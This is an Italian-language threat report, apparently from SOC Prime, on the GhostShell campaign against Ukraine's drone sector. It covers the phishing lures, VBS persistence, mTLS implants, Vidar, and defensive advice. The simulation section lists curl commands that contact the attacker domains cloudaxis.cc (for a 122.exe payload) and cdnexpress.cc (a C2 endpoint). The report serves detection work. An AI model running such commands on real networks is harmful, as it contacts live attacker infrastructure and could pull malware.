GhostShell (MB-0009): Miratare le Operazioni UAV dell’Ucraina e la Catena di Approvvigionamento della Difesa

SOC Prime Team

Segui

GhostShell (MB-0009): Miratare le Operazioni UAV dell’Ucraina e la Catena di Approvvigionamento della Difesa

Detection stack

AIDR
Alert
ETL
Query

Rapporto
Flusso di Attacco
Rilevamenti
Simulazioni

Sommario

Un nuovo cluster di minacce, conosciuto come GhostShell, sta prendendo di mira l’ecosistema ucraino di UAV e droni. L’operazione utilizza malware avanzato, inclusi impianti autenticati da mTLS e caricamenti basati sulla memoria. Per ottenere l’accesso iniziale, gli attaccanti si affidano a documenti esca che impersonano una società ucraina di droni.

Indagine

L’analista ha scoperto una catena di intrusioni a più stadi basata su script VBS, impianti abilitati mTLS come 122.exe, e caricamenti basati su Telegram inclusi update.exe. L’ingegneria inversa ha rivelato logica di decrittazione XOR personalizzata, una PKI privata incorporata, e l’uso di Xray Core per il tunneling nascosto. L’indagine ha anche identificato l’attività di Vidar infostealer all’interno della stessa infrastruttura.

Mitigazione

Le organizzazioni dovrebbero rinforzare la validazione rigida dei certificati mTLS e monitorare l’uso non autorizzato dei certificati client. La visibilità degli endpoint dovrebbe essere migliorata per rilevare il caricamento in memoria, ntdll.dll intromissioni, e cambiamenti sospetti alla persistenza della chiave di esecuzione di Windows Run. Le squadre dovrebbero anche monitorare il traffico in uscita anomalo verso domini di comando e controllo conosciuti e il recupero della configurazione guidata da Telegram.

Risposta

I sistemi colpiti dovrebbero essere isolati immediatamente, seguiti da analisi forensi della memoria per identificare eventuali impianti in memoria. I registri di rete dovrebbero essere esaminati per il traffico che coinvolge cloudaxis.cc and cdnexpress.cc. I team di sicurezza dovrebbero anche cercare gli hash SHA-256 di riferimento e monitorare il certificato client mTLS specifico CN=ed6e62814295701f.

"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 classDef operator fill:#ff9900 %% Initial Access and Execution Phase action_phishing["Azione – T1566.001 Phishing: Allegato Spearphishing Descrizione: Ingegneria sociale usando documenti PDF esca che impersonano Besomar per attaccare l’ecosistema UAV."] class action_phishing action action_exploit["Azione – T1203 Sfruttamento per Esecuzione Client Descrizione: Sfruttando CVE-2025-8088 e CVE-2025-6218 tramite archivio malevolo Besomar_documentation.rar."] class action_exploit action process_vbs["Processo – T1059.005 Interprete di Comandi e Script: Visual Basic Descrizione: File VBS inserito nella cartella di avvio di Windows eseguendo stringhe codificate Base64 tramite ExecuteGlobal."] class process_vbs process %% Persistence and Payload Download action_persistence_startup["Azione – T1547.001 Esecuzione Autostart all’Avvio o al Logon: Chiavi di Registro di Esecuzione / Cartella di Avvio Descrizione: File VBS inserito nella cartella di avvio per la persistenza."] class action_persistence_startup action network_download["Rete – T1105 Trasferimento di Strumenti in Ingresso Descrizione: Scaricamento di payload secondari da cloudaxis.cc."] class network_download network op_branch(("E")) class op_branch operator %% Path 1: 122.exe malware_122["Nome: 122.exe Descrizione: Loader che decrittografa un PE incorporato usando XOR e lo esegue in memoria."] class malware_122 malware action_fingerprint["Azione: Fingerprinting Host Descrizione: Raccolta di nome del computer, nome utente, e PID."] class action_fingerprint action network_c2_122["Comunicazione C2: cdnexpress.cc Descrizione: Usa un certificato client mTLS unico per l’autenticazione."] class network_c2_122 network action_screen_cap["Azione: Cattura Schermo Descrizione: Cattura schermi tramite GDI+."] class action_screen_cap action action_persistence_reg["Azione: Chiavi di Registro Run Descrizione: Instaurare persistenza tramite chiavi di Registro di Windows Run."] class action_persistence_reg action %% Path 2: update.exe malware_update["Nome: update.exe Descrizione: Loader in memoria che recupera configurazione C2 da Telegram."] class malware_update malware action_anti_analysis["Azione: T1562.001 Attenuare Difese: Disabilitare o Modificare Strumenti Descrizione: Scollegamento strumenti EDR / monitoraggio modificando ntdll.dll."] class action_anti_analysis action action_metasploit_stager["Azione: T1059.003 Interprete di Comandi e Script: Shell dei Comandi di Windows Descrizione: Esegue un stager HTTPS in memoria in stile Metasploit."] class action_metasploit_stager action %% Path 3: 22.exe and Vidar malware_22["Nome: 22.exe Descrizione: Launcher a più stadi che utilizza il client Xray Core."] class malware_22 malware network_vless["Rete: T1573 Canale Criptato Descrizione: Traffico di tunneling tramite connessione VLESS."] class network_vless network malware_vidar["Nome: Vidar Malware Descrizione: Strumento di furto delle credenziali e dei dati che prende di mira password del browser cookie, portafogli e artefatti di messaggistica."] class malware_vidar malware %% Connection Logic action_phishing –>|porta_a| action_exploit action_exploit –>|risultati_in| process_vbs process_vbs –>|usa| action_persistence_startup action_persistence_startup –>|attiva| network_download network_download –>|consegna| op_branch %% Branching to payloads op_branch –>|payload_1| malware_122 op_branch –>|payload_2| malware_update op_branch –>|payload_3| malware_22 %% 122.exe flow malware_122 –>|compie| action_fingerprint malware_122 –>|comunica_con| network_c2_122 malware_122 –>|capace_di| action_screen_cap malware_122 –>|assicura| action_persistence_reg %% update.exe flow malware_update –>|recupera_config_da| action_anti_analysis action_anti_analysis –>|esegue| action_metasploit_stager %% 22.exe flow malware_22 –>|tunneling_via| network_vless network_vless –>|distribuisce| malware_vidar "

Flusso di Attacco

Narrazione & Comandi di Attacco: L’avversario ha ottenuto un primo punto d’appoggio e sta tentando di scaricare un payload specializzato (122.exe) per stabilire un controllo solido sul target. Per mantenere un basso profilo, il malware utilizza un dominio CDN dirottato o che sembra legittimo (cloudaxis.cc). Dopo il download, il malware tenta di “vibrare” o inviare telemetria al C2 tramite un endpoint di analisi specifico (cdnexpress.cc/analytics). La simulazione utilizzerà curl per imitare queste richieste GET specifiche per attivare la logica di rilevamento basata su URI.

Script di Test di Regressione:

# Simulazione del Download del Payload GhostShell
Write-Host "[+] Simulazione del download del payload GhostShell..."
curl.exe -I "https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe"

# Simulazione della Comunicazione C2 di GhostShell (Analytics)
Write-Host "[+] Simulazione della comunicazione C2 di GhostShell..."
curl.exe -I "https://cdnexpress.cc/analytics"

Comandi di Pulizia:

# Nessun file è effettivamente scaricato in questa simulazione (usando -I solo per intestazioni)
# Nessuna modifica permanente è fatta al sistema.
Write-Host "[+] Simulazione completata. Nessuna pulizia richiesta."

Unisciti alla piattaforma Detection as Code di SOC Prime per migliorare la visibilità sulle minacce più rilevanti per il tuo business. Per aiutarti a iniziare e aumentare immediatamente il valore, prenota ora un incontro con gli esperti di SOC Prime.

Iscriviti gratis